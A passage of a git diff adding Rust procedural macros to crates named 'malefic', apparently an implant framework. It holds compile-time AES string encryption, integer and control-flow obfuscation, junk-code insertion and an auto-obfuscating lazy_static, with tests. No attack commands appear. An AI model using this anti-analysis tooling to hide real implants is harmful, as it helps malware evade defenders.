branch (uses obf/) and a community no-op branch +// ============================================================================ + +/// AES-256-CTR string encryption at compile time, decrypted at runtime. +/// Returns `String`. Usage: `obf_string!("sensitive string")` +#[proc_macro] +pub fn obf_string(input: TokenStream) -> TokenStream { + #[cfg(feature = "literal_obf")] + { + let parsed = parse_macro_input!(input as obf::strings::ObfStringInput); + return TokenStream::from(obf::strings::obf_string_impl(parsed)); + } + #[cfg(not(feature = "literal_obf"))] + { + let lit = parse_macro_input!(input as LitStr); + return TokenStream::from(quote! { String::from(#lit) }); + } +} + +/// Drop-in replacement for `obfstr::obfstr!` — returns `&'static str`. +/// Usage: `obfstr!("sensitive string")` +#[proc_macro] +pub fn obfstr(input: TokenStream) -> TokenStream { + #[cfg(feature = "literal_obf")] + { + let parsed = parse_macro_input!(input as obf::strings::ObfStringInput); + return TokenStream::from(obf::strings::obfstr_impl(parsed)); + } + #[cfg(not(feature = "literal_obf"))] + { + let lit = parse_macro_input!(input as LitStr); + return TokenStream::from(quote! { #lit }); + } +} + +/// AES-256-CTR byte string encryption at compile time, decrypted at runtime. +/// Usage: `obf_bytes!(b"sensitive bytes")` +#[proc_macro] +pub fn obf_bytes(input: TokenStream) -> TokenStream { + #[cfg(feature = "literal_obf")] + { + let parsed = parse_macro_input!(input as obf::strings::ObfBytesInput); + return TokenStream::from(obf::strings::obf_bytes_impl(parsed)); + } + #[cfg(not(feature = "literal_obf"))] + { + let lit = parse_macro_input!(input as syn::LitByteStr); + return TokenStream::from(quote! { (#lit).to_vec() }); + } +} + +/// Lightweight control-flow obfuscation with dummy loops and black_box. +/// Usage: `flow!{ real_code_here; }` +#[proc_macro] +pub fn flow(input: TokenStream) -> TokenStream { + #[cfg(feature = "control_flow")] + { + return TokenStream::from(obf::flow::flow_impl(input.into())); + } + #[cfg(not(feature = "control_flow"))] + { + let input2: proc_macro2::TokenStream = input.into(); + let block: syn::Block = syn::parse2(input2).expect("flow! expects a block { ... }"); + return TokenStream::from(quote! { #block }); + } +} + +/// XOR-chain state machine obfuscation (goldberg style). +/// Usage: `obf_stmts!{ stmt1; stmt2; stmt3; }` +#[proc_macro] +pub fn obf_stmts(input: TokenStream) -> TokenStream { + #[cfg(feature = "control_flow")] + { + return TokenStream::from(obf::stmts::obf_stmts_impl(input.into())); + } + #[cfg(not(feature = "control_flow"))] + { + let input2: proc_macro2::TokenStream = input.into(); + let block: syn::Block = syn::parse2(input2).expect("obf_stmts! expects a block { ... }"); + return TokenStream::from(quote! { #block }); + } +} + +/// Integer obfuscation with reversible operation chains. +/// Usage: `obf_int!(42u32)` +#[proc_macro] +pub fn obf_int(input: TokenStream) -> TokenStream { + #[cfg(feature = "literal_obf")] + { + let parsed = parse_macro_input!(input as obf::integer::ObfIntInput); + return TokenStream::from(obf::integer::obf_int_impl(parsed)); + } + #[cfg(not(feature = "literal_obf"))] + { + // Input is a typed integer literal (e.g., 42u32) — pass through as-is + return input; + } +} + +/// Encrypted file embedding at compile time, decrypted at runtime. +/// Usage: `include_encrypted!("path/to/file.bin")` +/// AES mode: `include_encrypted!(aes, "path/to/file.bin")` +#[proc_macro] +pub fn include_encrypted(input: TokenStream) -> TokenStream { + #[cfg(feature = "embed_encrypt")] + { + let parsed = parse_macro_input!(input as obf::embed::EmbedInput); + return TokenStream::from(obf::embed::include_encrypted_impl(parsed)); + } + #[cfg(not(feature = "embed_encrypt"))] + { + let input2: proc_macro2::TokenStream = input.into(); + let path = noop_parse_embed_path(input2); + return TokenStream::from(quote! { include_bytes!(#path).to_vec() }); + } +} + +/// Junk code injection attribute macro. +/// Usage: `#[junk]` or `#[junk(density = 3)]` +#[proc_macro_attribute] +pub fn junk(args: TokenStream, item: TokenStream) -> TokenStream { + #[cfg(feature = "junk_insertion")] + { + return TokenStream::from(obf::junk::junk_impl(args.into(), item.into())); + } + #[cfg(not(feature = "junk_insertion"))] + { + let _ = args; + return item; + } +} + +/// Derive macro for struct field obfuscation (AES-256-CTR shadow struct). +/// Usage: `#[derive(ObfuscateBox)]` +#[proc_macro_derive(ObfuscateBox)] +pub fn derive_obfuscate_box(input: TokenStream) -> TokenStream { + #[cfg(feature = "struct_obf")] + { + let parsed = parse_macro_input!(input as syn::DeriveInput); + return TokenStream::from(obf::derive_obf::derive_obfuscate_impl(parsed)); + } + #[cfg(not(feature = "struct_obf"))] + { + let _ = input; + return TokenStream::new(); + } +} + +/// Drop-in replacement for `lazy_static!` using `OnceLock`. +/// Automatically applies literal obfuscation to initializer expressions. +/// Usage: `lazy_static! { static ref NAME: Type = expr; }` +#[proc_macro] +pub fn lazy_static(input: TokenStream) -> TokenStream { + TokenStream::from(lazy_static_impl::lazy_static_impl(input.into())) +} + +/// In-place XOR struct obfuscation derive macro. +/// Usage: `#[derive(Obfuscate)]` +#[proc_macro_derive(Obfuscate, attributes(obf))] +pub fn derive_obfuscate(input: TokenStream) -> TokenStream { + #[cfg(feature = "inplace_obf")] + { + let parsed = parse_macro_input!(input as syn::DeriveInput); + return TokenStream::from(obf::derive_inplace_obf::derive_impl(parsed)); + } + #[cfg(not(feature = "inplace_obf"))] + { + let _ = input; + return TokenStream::new(); + } +} + +/// Conditional Debug/Obfuscate derive macro. +/// - **Debug builds**: generates standard `impl Debug` +/// - **Release builds** (with obf features): generates `unsafe impl Obfuscatable` +/// Usage: `#[derive(ObfDebug)]` +#[proc_macro_derive(ObfDebug, attributes(obf))] +pub fn derive_obf_debug(input: TokenStream) -> TokenStream { + #[cfg(feature = "_obf_impl")] + { + let parsed = parse_macro_input!(input as syn::DeriveInput); + return TokenStream::from(obf::obf_debug::derive_obf_debug_impl(parsed)); + } + #[cfg(not(feature = "_obf_impl"))] + { + // Community: generate a basic Debug impl + let parsed = parse_macro_input!(input as syn::DeriveInput); + return TokenStream::from(noop_debug_impl(parsed)); + } +} + +/// Function/impl-level attribute macro for automatic literal obfuscation. +/// Usage: `#[obfuscate]`, `#[obfuscate(flow)]`, `#[obfuscate(junk = N)]` +#[proc_macro_attribute] +pub fn obfuscate(args: TokenStream, item: TokenStream) -> TokenStream { + #[cfg(feature = "_obf_impl")] + { + return TokenStream::from(obf::obfuscate_attr::obfuscate_attr_impl( + args.into(), + item.into(), + )); + } + #[cfg(not(feature = "_obf_impl"))] + { + let _ = args; + return item; + } +} + +// ============================================================================ +// Community no-op helpers (no dependency on obf/) +// ============================================================================ + +/// Parse the path from `include_encrypted!` input without the obf/ module. +/// Handles both `include_encrypted!("path")` and `include_encrypted!(aes, "path")`. +#[cfg(not(feature = "embed_encrypt"))] +fn noop_parse_embed_path(input: proc_macro2::TokenStream) -> LitStr { + syn::parse2::(input.clone()).unwrap_or_else(|_| { + // Has mode prefix (aes/xor) — skip ident and comma + let mut iter = input.into_iter(); + iter.next(); // skip ident + iter.next(); // skip comma + let rest: proc_macro2::TokenStream = iter.collect(); + syn::parse2::(rest).expect("include_encrypted! expects a string path") + }) +} + +/// Generate a basic `impl Debug` for community mode (no obfuscation). +#[cfg(not(feature = "_obf_impl"))] +fn noop_debug_impl(input: syn::DeriveInput) -> proc_macro2::TokenStream { + let name = &input.ident; + let (impl_generics, ty_generics, where_clause) = input.generics.split_for_impl(); + quote! { + impl #impl_generics ::core::fmt::Debug for #name #ty_generics #where_clause { + fn fmt(&self, f: &mut ::core::fmt::Formatter<'_>) -> ::core::fmt::Result { + f.debug_struct(stringify!(#name)).finish() + } + } + } +} diff --git a/malefic-crates/macro/src/obf/lazy_static.rs b/malefic-crates/macro/src/obf/lazy_static.rs new file mode 100644 index 0000000..7c2a0d3 --- /dev/null +++ b/malefic-crates/macro/src/obf/lazy_static.rs @@ -0,0 +1,393 @@ +use proc_macro2::TokenStream; +use quote::quote; +use syn::parse::{Parse, ParseStream}; +use syn::{Attribute, Expr, Ident, Token, Type, Visibility}; + +#[cfg(feature = "literal_obf")] +use syn::visit_mut::VisitMut; + +#[cfg(feature = "literal_obf")] +use crate::obf::util::LiteralObfuscator; + +/// A single `static ref NAME: TYPE = EXPR;` entry. +struct LazyStaticEntry { + attrs: Vec, + vis: Visibility, + name: Ident, + ty: Type, + init: Expr, +} + +/// The full `lazy_static! { ... }` body: one or more entries. +struct LazyStaticInput { + entries: Vec, +} + +impl Parse for LazyStaticEntry { + fn parse(input: ParseStream) -> syn::Result { + let attrs = input.call(Attribute::parse_outer)?; + let vis: Visibility = input.parse()?; + input.parse::()?; + input.parse::()?; + let name: Ident = input.parse()?; + input.parse::()?; + let ty: Type = input.parse()?; + input.parse::()?; + let init: Expr = input.parse()?; + input.parse::()?; + Ok(LazyStaticEntry { + attrs, + vis, + name, + ty, + init, + }) + } +} + +impl Parse for LazyStaticInput { + fn parse(input: ParseStream) -> syn::Result { + let mut entries = Vec::new(); + while !input.is_empty() { + entries.push(input.parse()?); + } + Ok(LazyStaticInput { entries }) + } +} + +pub fn lazy_static_impl(input: TokenStream) -> TokenStream { + let parsed: LazyStaticInput = match syn::parse2(input) { + Ok(v) => v, + Err(e) => return e.to_compile_error(), + }; + + let mut output = TokenStream::new(); + + for entry in parsed.entries { + let LazyStaticEntry { + attrs, + vis, + name, + ty, + mut init, + } = entry; + + // Apply literal obfuscation to the initializer expression (if enabled). + #[cfg(feature = "literal_obf")] + LiteralObfuscator.visit_expr_mut(&mut init); + + let expanded = quote! { + #[allow(non_camel_case_types)] + #[allow(dead_code)] + #(#attrs)* + #vis struct #name { __private_field: () } + + #[allow(non_upper_case_globals)] + #vis static #name: #name = #name { __private_field: () }; + + impl ::core::ops::Deref for #name { + type Target = #ty; + fn deref(&self) -> &#ty { + static __LAZY: ::std::sync::OnceLock<#ty> = ::std::sync::OnceLock::new(); + __LAZY.get_or_init(|| { #init }) + } + } + }; + + output.extend(expanded); + } + + output +} + +#[cfg(test)] +mod tests { + use super::lazy_static_impl; + use quote::quote; + + /// Helper: expand lazy_static and return the generated code as a string. + fn expand(input: proc_macro2::TokenStream) -> String { + lazy_static_impl(input).to_string() + } + + #[test] + fn test_generates_oncelock_deref() { + let out = expand(quote! { + static ref FOO: u32 = 42; + }); + assert!(out.contains("OnceLock"), "must use OnceLock backend"); + assert!(out.contains("Deref"), "must generate Deref impl"); + assert!(out.contains("get_or_init"), "must use get_or_init"); + } + + #[test] + fn test_struct_and_static_generated() { + let out = expand(quote! { + pub static ref MY_VAL: String = String::from("hello"); + }); + assert!(out.contains("struct MY_VAL"), "must generate struct"); + assert!(out.contains("static MY_VAL"), "must generate static"); + assert!(out.contains("__private_field"), "must have private field"); + } + + #[test] + fn test_string_from_is_obfuscated() { + let out = expand(quote! { + static ref S: String = String::from("secret"); + }); + #[cfg(feature = "literal_obf")] + assert!( + out.contains("obf_string"), + "String::from(\"...\") argument must be replaced with obf_string!, got:\n{}", + out + ); + #[cfg(not(feature = "literal_obf"))] + assert!( + !out.contains("obf_string"), + "literal_obf disabled: should not obfuscate, got:\n{}", + out + ); + } + + #[test] + fn test_typed_integer_is_obfuscated() { + let out = expand(quote! { + static ref N: u32 = 42u32; + }); + #[cfg(feature = "literal_obf")] + assert!( + out.contains("obf_int"), + "typed integer 42u32 must be replaced with obf_int!, got:\n{}", + out + ); + } + + #[test] + fn test_untyped_integer_is_not_obfuscated() { + let out = expand(quote! { + static ref N: u32 = 42; + }); + assert!( + !out.contains("obf_int"), + "untyped integer 42 should NOT be obfuscated" + ); + } + + #[test] + fn test_multiple_entries() { + let out = expand(quote! { + pub static ref A: u32 = 1; + pub static ref B: String = String::from("two"); + }); + // Both structs generated + assert!(out.contains("struct A")); + assert!(out.contains("struct B")); + // String obfuscated (when literal_obf enabled) + #[cfg(feature = "literal_obf")] + assert!(out.contains("obf_string")); + } + + #[test] + fn test_macro_bodies_not_double_obfuscated() { + let out = expand(quote! { + static ref V: Vec = vec![1u8, 2u8, 3u8]; + }); + // vec! is a macro invocation — LiteralObfuscator skips macro bodies, + // so 1u8/2u8/3u8 inside vec![] must NOT be replaced. + assert!( + !out.contains("obf_int"), + "literals inside macro invocations must not be obfuscated" + ); + } + + #[test] + fn test_visibility_preserved() { + let out_pub = expand(quote! { + pub static ref X: u32 = 1; + }); + assert!(out_pub.contains("pub struct X")); + assert!(out_pub.contains("pub static X")); + + let out_priv = expand(quote! { + static ref Y: u32 = 1; + }); + // No `pub` before struct/static + assert!(!out_priv.contains("pub struct Y")); + assert!(!out_priv.contains("pub static Y")); + } + + #[test] + fn test_attributes_preserved() { + let out = expand(quote! { + #[doc = "documentation"] + pub static ref D: u32 = 1; + }); + assert!(out.contains("doc")); + } + + // ================================================================ + // Regression: patterns matching real codebase usage + // ================================================================ + + #[test] + fn test_pattern_arc_mutex_hashmap() { + // Pattern from pipe.rs, execute_armory.rs, pty/mod.rs + let out = expand(quote! { + static ref SESSIONS: Arc>> = + Arc::new(Mutex::new(HashMap::new())); + }); + assert!(out.contains("OnceLock")); + assert!(out.contains("struct SESSIONS")); + } + + #[test] + fn test_pattern_cross_ref_deref() { + // Pattern from config: CRON reads from RUNTIME_CONFIG + let out = expand(quote! { + pub static ref RUNTIME_CONFIG: RuntimeConfig = load_runtime_config(default_runtime_config()); + pub static ref CRON: String = RUNTIME_CONFIG.cron.clone(); + }); + assert!(out.contains("struct RUNTIME_CONFIG")); + assert!(out.contains("struct CRON")); + } + + #[test] + fn test_pattern_codegen_import_style() { + let out = expand(quote! { + pub static ref NAME: String = String::from("implant_name"); + pub static ref KEY: Vec = vec![1, 2, 3]; + }); + #[cfg(feature = "literal_obf")] + assert!( + out.contains("obf_string"), + "String::from must be auto-obfuscated" + ); + assert!(out.contains("struct NAME")); + assert!(out.contains("struct KEY")); + } + + // ================================================================ + // Plan A: "lit".to_string() pattern + // ================================================================ + + #[test] + fn test_to_string_literal_is_obfuscated() { + let out = expand(quote! { + static ref S: String = "hello".to_string(); + }); + #[cfg(feature = "literal_obf")] + { + assert!( + out.contains("obf_string"), + "\"lit\".to_string() must be replaced with obf_string!, got:\n{}", + out + ); + // The redundant .to_string() should be collapsed + assert!( + !out.contains("to_string"), + "redundant .to_string() on obf_string! should be collapsed, got:\n{}", + out + ); + } + } + + #[test] + fn test_to_string_in_block() { + let out = expand(quote! { + static ref MAP: HashMap = { + let mut m = HashMap::new(); + m.insert("key".to_string(), "value".to_string()); + m + }; + }); + #[cfg(feature = "literal_obf")] + { + // Both string literals should be obfuscated + let count = out.matches("obf_string").count(); + assert!( + count >= 2, + "both \"key\".to_string() and \"value\".to_string() must be obfuscated, got {} occurrences:\n{}", + count, out + ); + } + } + + #[test] + fn test_to_string_on_non_literal_not_touched() { + let out = expand(quote! { + static ref S: String = some_var.to_string(); + }); + assert!( + !out.contains("obf_string"), + "non-literal .to_string() must NOT be obfuscated" + ); + } + + #[test] + fn test_to_string_codegen_pattern() { + // Exact pattern that mutant codegen emits with use_obfstr=false + let out = expand(quote! { + pub static ref RUNTIME_CONFIG: RuntimeConfig = load_runtime_config(RuntimeConfig { + cron: "*/5 * * * * * *".to_string(), + name: "malefic".to_string(), + proxy_url: "".to_string(), + }); + }); + #[cfg(feature = "literal_obf")] + { + // All three .to_string() literals should be obfuscated + let count = out.matches("obf_string").count(); + assert!( + count >= 3, + "all string literals in struct init must be obfuscated, got {} occurrences", + count + ); + } + } + + // ================================================================ + // Byte string literal obfuscation + // ================================================================ + + #[test] + fn test_byte_str_to_vec_is_obfuscated() { + let out = expand(quote! { + static ref K: Vec = b"secret".to_vec(); + }); + #[cfg(feature = "literal_obf")] + assert!( + out.contains("obf_bytes"), + "b\"...\".to_vec() must be replaced with obf_bytes!, got:\n{}", + out + ); + } + + #[test] + fn test_bare_byte_str_is_obfuscated() { + let out = expand(quote! { + static ref K: &'static [u8] = b"secret"; + }); + #[cfg(feature = "literal_obf")] + assert!( + out.contains("obf_bytes"), + "bare b\"...\" must be replaced with obf_bytes!, got:\n{}", + out + ); + } + + #[test] + fn test_byte_str_to_vec_collapsed() { + let out = expand(quote! { + static ref K: Vec = b"data".to_vec(); + }); + #[cfg(feature = "literal_obf")] + { + // obf_bytes! already returns Vec, so .to_vec() should be collapsed + assert!( + !out.contains("to_vec"), + "redundant .to_vec() on obf_bytes! should be collapsed, got:\n{}", + out + ); + } + } +} diff --git a/malefic-crates/macro/src/obf/mod.rs b/malefic-crates/macro/src/obf/mod.rs new file mode 100644 index 0000000..4e71af7 --- /dev/null +++ b/malefic-crates/macro/src/obf/mod.rs @@ -0,0 +1,6 @@ +// Community Edition: only basic utilities retained. +// Pro implementations (strings, flow, junk, etc.) are not included. + +pub mod lazy_static; +pub mod obf_debug; +pub mod util; diff --git a/malefic-crates/macro/src/obf/obf_debug.rs b/malefic-crates/macro/src/obf/obf_debug.rs new file mode 100644 index 0000000..ce9aad7 --- /dev/null +++ b/malefic-crates/macro/src/obf/obf_debug.rs @@ -0,0 +1,156 @@ +use proc_macro2::TokenStream; +use quote::quote; +use syn::{Data, DeriveInput, Fields, Index}; + +/// Entry point for `#[derive(ObfDebug)]`. +/// +/// Generates: +/// - **Debug builds** (`cfg(debug_assertions)`): standard `impl Debug` +/// - **Release builds** (`cfg(not(debug_assertions))`): `unsafe impl Obfuscatable` +/// via `derive_inplace_obf` (always available, no feature gate needed) +pub fn derive_obf_debug_impl(input: DeriveInput) -> TokenStream { + let debug_impl = gen_debug_impl(&input); + + #[cfg(feature = "inplace_obf")] + { + let obf_tokens = super::derive_inplace_obf::derive_impl(input); + return quote! { + #[cfg(debug_assertions)] + #debug_impl + #[cfg(not(debug_assertions))] + #obf_tokens + }; + } + + #[cfg(not(feature = "inplace_obf"))] + { + let _ = input; + return debug_impl; + } +} + +/// Generate a standard `impl Debug` equivalent to `#[derive(Debug)]`. +fn gen_debug_impl(input: &DeriveInput) -> TokenStream { + let name = &input.ident; + let (impl_generics, ty_generics, where_clause) = input.generics.split_for_impl(); + + let body = match &input.data { + Data::Struct(data) => gen_debug_struct(&name.to_string(), &data.fields), + Data::Enum(data) => gen_debug_enum(data), + Data::Union(_) => { + return syn::Error::new_spanned(name, "ObfDebug does not support unions") + .to_compile_error(); + } + }; + + quote! { + impl #impl_generics ::core::fmt::Debug for #name #ty_generics #where_clause { + fn fmt(&self, f: &mut ::core::fmt::Formatter<'_>) -> ::core::fmt::Result { + #body + } + } + } +} + +/// Debug impl body for structs (named, tuple, unit). +fn gen_debug_struct(name_str: &str, fields: &Fields) -> TokenStream { + match fields { + Fields::Named(named) => { + let field_calls: Vec = named + .named + .iter() + .filter_map(|f| { + let ident = f.ident.as_ref()?; + let ident_str = ident.to_string(); + Some(quote! { .field(#ident_str, &self.#ident) }) + }) + .collect(); + quote! { + f.debug_struct(#name_str) + #(#field_calls)* + .finish() + } + } + Fields::Unnamed(unnamed) => { + let field_calls: Vec = unnamed + .unnamed + .iter() + .enumerate() + .map(|(i, _)| { + let idx = Index::from(i); + quote! { .field(&self.#idx) } + }) + .collect(); + quote! { + f.debug_tuple(#name_str) + #(#field_calls)* + .finish() + } + } + Fields::Unit => { + quote! { + f.debug_struct(#name_str).finish() + } + } + } +} + +/// Debug impl body for enums. +fn gen_debug_enum(data: &syn::DataEnum) -> TokenStream { + let arms: Vec = data + .variants + .iter() + .map(|v| { + let variant = &v.ident; + let variant_str = variant.to_string(); + match &v.fields { + Fields::Named(named) => { + let field_idents: Vec<_> = named + .named + .iter() + .filter_map(|f| f.ident.as_ref()) + .collect(); + let field_strs: Vec = + field_idents.iter().map(|i| i.to_string()).collect(); + quote! { + Self::#variant { #(ref #field_idents),* } => { + f.debug_struct(#variant_str) + #(.field(#field_strs, #field_idents))* + .finish() + } + } + } + Fields::Unnamed(unnamed) => { + let bindings: Vec = (0..unnamed.unnamed.len()) + .map(|i| { + syn::Ident::new( + &format!("__field{}", i), + proc_macro2::Span::call_site(), + ) + }) + .collect(); + quote! { + Self::#variant(#(ref #bindings),*) => { + f.debug_tuple(#variant_str) + #(.field(#bindings))* + .finish() + } + } + } + Fields::Unit => { + quote! { + Self::#variant => { + f.write_str(#variant_str) + } + } + } + } + }) + .collect(); + + quote! { + match self { + #(#arms)* + } + } +} diff --git a/malefic-crates/macro/src/obf/util.rs b/malefic-crates/macro/src/obf/util.rs new file mode 100644 index 0000000..be372ce --- /dev/null +++ b/malefic-crates/macro/src/obf/util.rs @@ -0,0 +1,327 @@ +use rand::rngs::{OsRng, SmallRng}; +use rand::{Rng, SeedableRng}; + +/// Create a SmallRng seeded from OS randomness. +/// Fallback to const-random seed only when OS RNG is unavailable. +pub fn seeded_rng() -> SmallRng { + SmallRng::from_rng(OsRng).unwrap_or_else(|_| { + #[cfg(any( + feature = "literal_obf", + feature = "control_flow", + feature = "junk_insertion", + feature = "embed_encrypt" + ))] + { + let seed: u64 = const_random::const_random!(u64); + return SmallRng::seed_from_u64(seed); + } + #[cfg(not(any( + feature = "literal_obf", + feature = "control_flow", + feature = "junk_insertion", + feature = "embed_encrypt" + )))] + { + SmallRng::seed_from_u64(0xDEAD_BEEF_CAFE_BABE) + } + }) +} + +/// Generate a random u8 array of given length. +pub fn random_bytes(rng: &mut SmallRng, len: usize) -> Vec { + (0..len).map(|_| rng.gen::()).collect() +} + +/// Generate a random u32. +pub fn random_u32(rng: &mut SmallRng) -> u32 { + rng.gen() +} + +/// Generate a random identifier name. +pub fn random_ident(rng: &mut SmallRng) -> syn::Ident { + let name: String = (0..12) + .map(|i| { + if i == 0 { + (b'a' + rng.gen_range(0..26)) as char + } else { + let c = rng.gen_range(0..36); + if c < 26 { + (b'a' + c) as char + } else { + (b'0' + (c - 26)) as char + } + } + }) + .collect(); + syn::Ident::new(&name, proc_macro2::Span::call_site()) +} + +/// XOR two byte slices (same length). +pub fn xor_bytes(a: &[u8], b: &[u8]) -> Vec { + assert_eq!(a.len(), b.len(), "xor_bytes length mismatch"); + a.iter().zip(b.iter()).map(|(x, y)| x ^ y).collect() +} + +/// AST visitor that replaces selected literals with obfuscated forms. +/// +/// - `String::from("...")` → `::malefic_gateway::obf_string!(...)` +/// - `"...".to_string()` → `::malefic_gateway::obf_string!(...)` +/// - `b"..."` → `::malefic_gateway::obf_bytes!(...)` +/// - `b"...".to_vec()` → `::malefic_gateway::obf_bytes!(...)` +/// - Integer literals with type suffix → `::malefic_gateway::obf_int!(...)` +/// - Skips macro bodies to avoid double-obfuscation +pub struct LiteralObfuscator; + +impl syn::visit_mut::VisitMut for LiteralObfuscator { + fn visit_expr_call_mut(&mut self, node: &mut syn::ExprCall) { + syn::visit_mut::visit_expr_call_mut(self, node); + + // String::from("...") -> obfuscated String builder. + // After bare-str handling, the arg may already be obfstr!("..."), so + // we also collapse String::from(obfstr!("...")) → obf_string!("..."). + if let syn::Expr::Path(path) = node.func.as_ref() { + let segs: Vec<_> = path.path.segments.iter().collect(); + if segs.len() >= 2 + && segs[segs.len() - 2].ident == "String" + && segs[segs.len() - 1].ident == "from" + && node.args.len() == 1 + { + if let Some(arg0) = node.args.first_mut() { + if let syn::Expr::Lit(syn::ExprLit { + lit: syn::Lit::Str(lit_str), + .. + }) = arg0 + { + let s = lit_str.value(); + use quote::quote; + *arg0 = syn::parse2(quote! {{ + ::malefic_gateway::obf_string!(#s) + }}) + .expect("failed to parse String::from obfuscation"); + } else if let syn::Expr::Macro(mac_expr) = arg0 { + let last_seg = mac_expr.mac.path.segments.last(); + if last_seg.map_or(false, |s| s.ident == "obfstr") { + let tokens = &mac_expr.mac.tokens; + use quote::quote; + *arg0 = syn::parse2(quote! {{ + ::malefic_gateway::obf_string!(#tokens) + }}) + .expect("failed to collapse String::from(obfstr!(...))"); + } + } + } + } + } + } + + fn visit_expr_method_call_mut(&mut self, node: &mut syn::ExprMethodCall) { + syn::visit_mut::visit_expr_method_call_mut(self, node); + + // "literal".to_string() -> obf_string!("literal") + // Also: obfstr!("literal").to_string() -> obf_string!("literal") + if node.method == "to_string" && node.args.is_empty() { + if let syn::Expr::Lit(syn::ExprLit { + lit: syn::Lit::Str(lit_str), + .. + }) = node.receiver.as_ref() + { + let s = lit_str.value(); + use quote::quote; + let replacement: syn::Expr = syn::parse2(quote! { + ::malefic_gateway::obf_string!(#s) + }) + .expect("failed to parse to_string obfuscation"); + *node.receiver = replacement; + } else if let syn::Expr::Macro(mac_expr) = node.receiver.as_ref() { + let last_seg = mac_expr.mac.path.segments.last(); + if last_seg.map_or(false, |s| s.ident == "obfstr") { + let tokens = mac_expr.mac.tokens.clone(); + use quote::quote; + let replacement: syn::Expr = syn::parse2(quote! { + ::malefic_gateway::obf_string!(#tokens) + }) + .expect("failed to collapse obfstr.to_string to obf_string"); + *node.receiver = replacement; + } + } + } + + // b"literal".to_vec() -> obf_bytes!(b"literal") + if node.method == "to_vec" && node.args.is_empty() { + if let syn::Expr::Lit(syn::ExprLit { + lit: syn::Lit::ByteStr(lit_bytes), + .. + }) = node.receiver.as_ref() + { + let bytes = lit_bytes.value(); + use quote::quote; + let byte_lit = syn::LitByteStr::new(&bytes, lit_bytes.span()); + let replacement: syn::Expr = syn::parse2(quote! { + ::malefic_gateway::obf_bytes!(#byte_lit) + }) + .expect("failed to parse to_vec bytes obfuscation"); + *node.receiver = replacement; + } + } + } + + fn visit_expr_mut(&mut self, expr: &mut syn::Expr) { + syn::visit_mut::visit_expr_mut(self, expr); + + // After visit_expr_method_call_mut has run, we may have + // "obf_string!(...).to_string()" — collapse the redundant .to_string() + if let syn::Expr::MethodCall(ref method_call) = expr { + if method_call.method == "to_string" && method_call.args.is_empty() { + if let syn::Expr::Macro(ref mac_expr) = *method_call.receiver { + let path = &mac_expr.mac.path; + let last_seg = path.segments.last(); + if last_seg.map_or(false, |s| s.ident == "obf_string" || s.ident == "obfstr") { + // Replace `obf_string!("...").to_string()` → `obf_string!("...")` + // Also: `obfstr!("...").to_string()` → `obf_string!("...")` + // Normalize obfstr → obf_string since .to_string() means caller wants String + if last_seg.map_or(false, |s| s.ident == "obfstr") { + // Rewrite obfstr!("...").to_string() → obf_string!("...") + let tokens = &mac_expr.mac.tokens; + use quote::quote; + let new_expr: syn::Expr = syn::parse2(quote! { + ::malefic_gateway::obf_string!(#tokens) + }) + .expect("failed to rewrite obfstr.to_string to obf_string"); + *expr = new_expr; + } else { + let replacement = method_call.receiver.clone(); + *expr = (*replacement).clone(); + } + return; + } + } + } + } + + // Collapse redundant `obf_bytes!(...).to_vec()` — obf_bytes! already returns Vec + if let syn::Expr::MethodCall(ref method_call) = expr { + if method_call.method == "to_vec" && method_call.args.is_empty() { + if let syn::Expr::Macro(ref mac_expr) = *method_call.receiver { + let path = &mac_expr.mac.path; + let last_seg = path.segments.last(); + if last_seg.map_or(false, |s| s.ident == "obf_bytes") { + let replacement = method_call.receiver.clone(); + *expr = (*replacement).clone(); + return; + } + } + } + } + + // Bare byte string literal: b"..." → obf_bytes!(b"...") + if let syn::Expr::Lit(lit_expr) = expr { + if let syn::Lit::ByteStr(lit_bytes) = &lit_expr.lit { + let bytes = lit_bytes.value(); + use quote::quote; + let byte_lit = syn::LitByteStr::new(&bytes, lit_bytes.span()); + let new_expr: syn::Expr = syn::parse2(quote! { + ::malefic_gateway::obf_bytes!(#byte_lit) + }) + .expect("failed to parse obf_bytes replacement"); + *expr = new_expr; + return; + } + } + + // Bare string literal: "..." → obfstr!("...") + // This handles cases like method args: contains_key("key"), Error::msg("msg"), etc. + if let syn::Expr::Lit(lit_expr) = expr { + if let syn::Lit::Str(lit_str) = &lit_expr.lit { + let s = lit_str.value(); + use quote::quote; + let new_expr: syn::Expr = syn::parse2(quote! { + ::malefic_gateway::obfstr!(#s) + }) + .expect("failed to parse obfstr replacement"); + *expr = new_expr; + return; + } + } + + if let syn::Expr::Lit(lit_expr) = expr { + if let syn::Lit::Int(lit_int) = &lit_expr.lit { + let suffix = lit_int.suffix(); + if !suffix.is_empty() { + let token = lit_int.token(); + use quote::quote; + let new_expr: syn::Expr = syn::parse2(quote! { + ::malefic_gateway::obf_int!(#token) + }) + .expect("failed to parse obf_int replacement"); + *expr = new_expr; + } + } + } + } + + // Visit macro bodies for custom macros (to_error!, check_request!, etc.) + // but skip Rust built-in format/assertion macros whose first argument is a format string. + fn visit_macro_mut(&mut self, mac: &mut syn::Macro) { + let last_seg = mac.path.segments.last(); + let name = last_seg.map(|s| s.ident.to_string()).unwrap_or_default(); + + // Skip macros whose arguments include format strings or compile-time patterns + const SKIP_MACROS: &[&str] = &[ + "format", + "format_args", + "println", + "print", + "eprintln", + "eprint", + "write", + "writeln", + "panic", + "todo", + "unimplemented", + "unreachable", + "assert", + "assert_eq", + "assert_ne", + "debug_assert", + "debug_assert_eq", + "debug_assert_ne", + "vec", + "concat", + "stringify", + "env", + "include", + "include_str", + "include_bytes", + "cfg", + "compile_error", + "debug", + "log", + "info", + "warn", + "error", + "trace", + "anyhow", + // Our own obfuscation macros — never recurse into them + "obf_string", + "obf_bytes", + "obf_int", + "obfstr", + "obf_stmts", + "flow", + "lazy_static", + ]; + + if SKIP_MACROS.contains(&name.as_str()) { + return; + } + + // For custom macros, try to parse their token body as expressions and visit them. + // This handles macros like to_error!(Err("...".to_string())) where the body is + // a valid Rust expression tree. + let tokens = mac.tokens.clone(); + if let Ok(mut expr) = syn::parse2::(tokens) { + self.visit_expr_mut(&mut expr); + mac.tokens = quote::quote!(#expr); + } + } +} diff --git a/malefic-crates/manager/Cargo.toml b/malefic-crates/manager/Cargo.toml new file mode 100644 index 0000000..4c5599f --- /dev/null +++ b/malefic-crates/manager/Cargo.toml @@ -0,0 +1,24 @@ +[package] +name = "malefic-manager" +version = "0.1.0" +edition = "2021" + +[features] +default = ["hot_load", "addon"] +hot_load = ["malefic-runtime/loader"] +addon = [] + +[dependencies] +futures = { workspace = true } +strum = { workspace = true } +strum_macros = { workspace = true } +anyhow = { workspace = true } +async-trait = { workspace = true } +malefic-gateway = { workspace = true } + 